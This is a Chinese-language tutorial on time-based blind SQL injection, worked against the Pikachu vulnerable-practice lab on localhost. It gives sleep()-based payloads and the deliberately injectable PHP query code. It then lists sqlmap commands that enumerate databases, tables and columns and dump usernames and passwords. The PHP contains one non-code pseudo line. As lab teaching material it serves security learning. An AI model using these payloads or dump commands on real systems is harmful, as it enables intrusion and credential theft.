一、时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据
库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。
vince' and if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1,n不延时就能确定当前数据库的长度了。
如果想要获取数据内容,可以用截取字符再进行字符对比,如果相同就进行延时。这样就能获取字符,接着再拼接就是当前库的内容。
二、代码分析
在页面中分析源码,直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。
$link=connect();
$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
if $name 有 sleep() select insert() 清空 或者重定向
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
三、sqlmap测时间注入
在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
采用时间注入:
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
2、获取用户和数据库名
sqlmap 检测为时间注入,通过这个注入获取数据库名、用户权限、表、字段等敏感信息。
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式,自动 y
3、获取表
-D 指定数据库
--tables 获取表
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --tables -D pikachu --batch
4、获取字段
-T 指定表
--columns 获取字段
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
5、查询账号和密码
--dump 导出数据
-C 指定查询的字段
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch